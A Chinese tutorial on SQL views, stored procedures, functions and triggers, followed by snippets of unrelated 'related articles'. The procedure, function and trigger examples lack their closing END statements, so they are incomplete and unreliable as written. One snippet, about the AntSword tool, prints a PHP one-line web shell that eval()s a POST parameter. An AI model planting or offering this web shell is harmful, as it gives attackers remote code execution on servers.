视图、存储过程、函数、触发器
1.视图
视图就是一张基于查询的虚拟表,里面定义的其实就是普通的SQL语句。如果一条复杂查询的SQL语句我们频繁的使用,就可以定义视图,方便操作。创建语法如下:
CREATE VIEW <视图名> AS <SELECT语句>
2.存储过程
存储过程里面定义的SQL语句集合可以进行一些逻辑处理。比如,我们保存数据时,如果数据库里面有,则不插入,如果没有,则进行插入。这时就可以定义一个存储过程来完成整个逻辑功能。
IN表示输入参数,OUT表示输出参数,DECLARE表示定义变量,set表示改变值。
CREATE PROCEDURE saveUser(IN p_account VARCHAR(20),IN p_sex CHAR(1),OUT res_mark
INT)
BEGIN
DECLARE v_count INT DEFAULT 0;
SELECT COUNT(*) INTO v_count FROM t_user WHERE account = p_account;
IF v_count = 0 THEN
INSERT INTO t_user(account,sex)VALUES(p_account,p_sex);
SET res_mark = 0;
ELSE
SET res_mark = 1;
END IF;
3.函数
函数必须有返回值,里面可以定义流程控制语句。
CREATE FUNCTION checkUserType(p_type INT) RETURNS VARCHAR(4)
BEGIN
IF p_type = 0 THEN
RETURN '管理员';
ELSE
RETURN '业务用户';
END IF;
4.触发器
触发器不需要直接调用,而是在执行了增,删,改之后自动执行的存储过程。比如,我们需要在删除用户前,需要现删除用户所管理的菜单关系。
CREATE TRIGGER delete_user_menu BEFORE DELETE //表示在删除用户前触发
ON user //针对的是用户表
FOR EACH ROW
BEGIN
DELETE FROM user_menu WHERE user_id = old.id;//old表示要删除的用户数据
- insert只会有new ,代表着要插入的新记录
- delete只会有old ,代表着要删除的记录
- update由于执行的是先删除旧的记录,再插入新的记录,因此new和old都会有,且含义上与上面的相同。
相关文章:
视图、存储过程、函数、触发器
1.视图 视图就是一张基于查询的虚拟表,里面定义的其实就是普通的SQL语句。如果一条复杂查询的SQL语句我们频繁的使用,就可以定义视图,方便操作。创建语法如下: CREATE VIEW <视图名> AS <SELECT语句> 2.存储过程 存…...
数学建模学习(10):遗传算法
遗传算法简介 • 遗传算法(Genetic Algorithms)是基于生物进化理论的原理发展起来的一种广为 应用的、高效的随机搜索与优化的方法。其主要特点是群体搜索策略和群体中个体之 间的信息交换,搜索不依赖于梯度信息。它是20世纪70年代初期由美国…...
私域流量整合:社群裂变的综合策略
在私域营销的风潮下,社群裂变已经成为许多企业实现增长的利器。然而,如何通过综合策略将社群裂变的影响力最大化,将成为私域流量整合的重要一环。本文将从新的角度探讨社群裂变的影响力策略,以及如何通过整合私域流量开辟新的增长…...
Redis的RDB持久化
Redis是一个键值对数据库服务器,服务器中通常包含着任意个非空数据库,而每个非空数据库中又可以包含任意个键值对,为了方便起见,我们将服务器中的非空数据库以及它们的键值对统称为数据库状态。 举个例子,下图展示了一…...
三、MySql表的操作
文章目录 一、创建表(一)语法:(二)说明: 二、创建表案例(一)代码:(二)说明: 三、查看表结构(一)语法ÿ…...
【模型加速部署】—— Pytorch自动混合精度训练
自动混合精度 torch. amp为混合精度提供了方便的方法,其中一些操作使用torch.float32(浮点)数据类型,而其他操作使用精度较低的浮点数据类型(lower_precision_fp):torch.float16(half)或torch.…...
【Qt】信号槽的三种连接方式
【Qt】信号槽的三种连接方式 文章目录 【Qt】信号槽的三种连接方式1. 使用 ui 界面控件2. Qt4 的连接语法3. Qt5 的连接语法 Qt 的信号槽最初来源于函数回调,但注册回调函数有一定局限,安全性也没有保证。所以一定程度上可以说信号槽是对回调机制进行了封…...
Jtti:Ubuntu静态IP地址怎么配置
在 Ubuntu 中配置静态 IP 地址需要编辑网络配置文件。以下是在 Ubuntu 20.04 版本中配置静态 IP 地址的步骤: 打开终端,以管理员身份登录或使用 sudo 权限。 使用以下命令打开网络配置文件进行编辑: sudo nano /etc/netplan/00-installer-…...
iconfont 使用
官网地址 iconfont-阿里巴巴矢量图标库 常规操作:注册账号 首页 搜索想要的图片 加入购物车并添加项目没有就创建一个 在线生成链接 复制生成的css 在前端软件创建相关的wxss文件 全局 import "/static/iconfont/iconfont.wxss";page {height: 100%; }…...
基于java冰雪旅游服务网设计与实现
摘 要 随着2022年北京冬奥会的成功举办,在冬天进行冰雪运动已经逐渐流行起来,人们慢慢享受到了冰雪活动给大家带来的欢乐,除此之外人们的身体素质也可以得到提升。虽然已经有一部分人可以接受并享受在冰雪中进行运动,但大不部分人…...
django处理分页
当数据库量比较大的时候一定要分页查询的 在django中操作数据库进行分页 queryset models.PrettyNum.objects.all() #查询所有 queryset models.PrettyNum.objects.all()[0:10] #查询出1-10列 queryset models.PrettyNum.objects.filter(mobile__contains136)[0:10] …...
CI+JUnit5并发单测机制创新实践
目录 一. 现状问题 二. 分析原因 三. 采取措施 四. 实践步骤 五. 效能提升 资料获取方法 一. 现状问题 针对现如今高并发场景的业务系统,“并发问题” 终归是必不可少的一类(占比接近10%),每次出现问题和事故后,…...
蚁剑antSword-maste下载-安装-使用-一句话木马
下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化,选择有源码的目录 3、连接...
[保研/考研机试] KY80 进制转换 北京大学复试上机题 C++实现
题目链接: KY80 进制转换https://www.nowcoder.com/share/jump/437195121691735660774 描述 写出一个程序,接受一个十六进制的数值字符串,输出该数值的十进制字符串(注意可能存在的一个测试用例里的多组数据)。 输入描述: 输…...
AP2915DC-DC降压恒流驱动IC LED电源驱动芯片 汽车摩托电动车灯
AP2915 是一款可以一路灯串切换两路灯串的降压 恒流驱动器,高效率、外围简单、内置功率管,适用于 5-80V 输入的高精度降压 LED 恒流驱动芯片。内置功 率管输出功率可达 12W,电流 1.2A。 AP2915 一路灯亮切换两路灯亮,其中一路灯亮可 以全亮&a…...
Android 实现无预览拍照功能
Android 实现无预览拍照功能 1.权限 需要相机、读写文件、悬浮窗权限 申请相机、读写文件 manifest.xml <uses-permission android:name"android.permission.CAMERA" /> <uses-permission android:name"android.permission.READ_EXTERNAL_STORAGE…...
第一章-数据结构绪论
第一章-数据结构绪论 数据结构的起源和相关概念 数据结构是一门研究非数值计算的程序设计问题中的操作对象,以及它们之间的关系和操作等相关问题的学科。 程序设计的实质是选择一个好的结构,再设计一种好的算法。 数据:是描述客观事物的符…...
20、stm32使用FMC驱动SDRAM(IS42S32800G-6BLI)
本文将使用安富莱的STM32H743XIH板子驱动SDRAM 引脚连接情况 一、CubeMx配置工程 1、开启调试口 2、开启外部高速时钟 配置时钟树 3、开启串口1 4、配置MPU 按照安富莱的例程配置: /* ********************************************************************…...
git仓库大文件导致仓库体积增大处理
一、删除大文件 git filter-branch --tree-filter rm -rf path/to/large/file --prune-empty HEAD二、提交到远程 git push -f origin main PS:-f必须参数,强制刷新PS:git设计是为了存储代码,一般不将大文件上传到仓库...
将游戏坐标转化成屏幕鼠标坐标
将游戏坐标转化成屏幕鼠标坐标 思路说明:转化其实是取得两点的相对位置,例如将游戏人物移动到另外一个位置(游戏人物初始位置坐标到目的位置坐标),鼠标需要移动到屏幕的某个位置。算出游戏的移动距离,游戏…...
链开源免费的WPS AI 软件 察元AI文档助手:路 013:shouldUsePlainDocumentPipeline 与批注类动作分流
链路 013:shouldUsePlainDocumentPipeline 与批注类动作分流 总体链路图 下图在全系列各篇保持一致,仅通过高亮样式标示本篇所覆盖的环节;箭头表示主成功路径,点线为异常或可选路径。阅读任意一篇时都应能回到本图定位ÿ…...
php内核 内核后门防护、代码执行拦截底层加固
一个直接能落地的“防后门 拦截代码执行”方案。先说结论:最佳方式不是只改一个点,而是 4 层一起上:编译裁剪层 内核拦截层 运行时策略层 系统隔离层。 单点防护一定会漏。---一、先讲大白话:后门最…...
【独家内测数据】Copilot Next 启动耗时从2.8s压至0.41s:3步完成工作流自动化重构(附可复用JSON Schema模板)
更多请点击: https://intelliparadigm.com 第一章:Copilot Next 自动化工作流性能调优全景概览 Copilot Next 并非传统代码补全工具的简单升级,而是基于实时上下文感知、多模态意图理解与动态工作流编排能力构建的智能协同引擎。其性能表现…...
Java 25虚拟线程调度突然卡顿?5步精准诊断法(含jcmd+AsyncProfiler+VirtualThreadMonitor三工具联动脚本)
更多请点击: https://intelliparadigm.com 第一章:Java 25虚拟线程资源调度优化 Java 25 引入了对虚拟线程(Virtual Threads)调度器的深度重构,核心在于将平台线程(Platform Thread)与虚拟线程…...
别再只用js-audio-recorder录音了!结合WaveSurfer.js,给你的Vue项目加个酷炫音频波形图
在Vue中打造专业级音频应用:js-audio-recorder与WaveSurfer.js的深度整合 当我们需要在Web应用中实现音频录制功能时,js-audio-recorder确实是一个简单易用的选择。但如果你想让你的音频应用脱颖而出,仅靠基础功能远远不够。想象一下…...
别再截图了!用Python爬虫+LabelImg,半小时搞定YOLOv5自定义数据集(附完整代码)
半小时构建YOLOv5机械臂抓取数据集:爬虫LabelImg自动化实战 在机械臂抓取任务中,仿真环境下的目标检测是关键技术瓶颈。传统的数据集构建方法需要人工截图、逐张标注,耗费数小时甚至数天时间。本文将揭示一套工业级解决方案:通过定…...
基于状态机与YAML的AI工作流自动化:AWF CLI工具深度解析
1. 项目概述:一个为AI工作流而生的Go语言命令行工具 如果你和我一样,日常工作中需要频繁地与Claude、Gemini、Codex这些AI模型打交道,并且厌倦了在终端、脚本和API调用之间来回切换,那么今天聊的这个工具可能会让你眼前一亮。 aw…...
NSC_BUILDER:3个维度解析Switch游戏文件管理工具的架构哲学与效率革命
NSC_BUILDER:3个维度解析Switch游戏文件管理工具的架构哲学与效率革命 【免费下载链接】NSC_BUILDER Nintendo Switch Cleaner and Builder. A batchfile, python and html script based in hacbuild and Nuts python libraries. Designed initially to erase title…...
Material Design Lite图片优化:提升网页性能的终极指南
Material Design Lite图片优化:提升网页性能的终极指南 【免费下载链接】material-design-lite Material Design Components in HTML/CSS/JS 项目地址: https://gitcode.com/gh_mirrors/ma/material-design-lite Material Design Lite是一个轻量级的前端框架…...
告别网盘限速:LinkSwift直链下载助手完整指南
告别网盘限速:LinkSwift直链下载助手完整指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云盘 / 迅…...
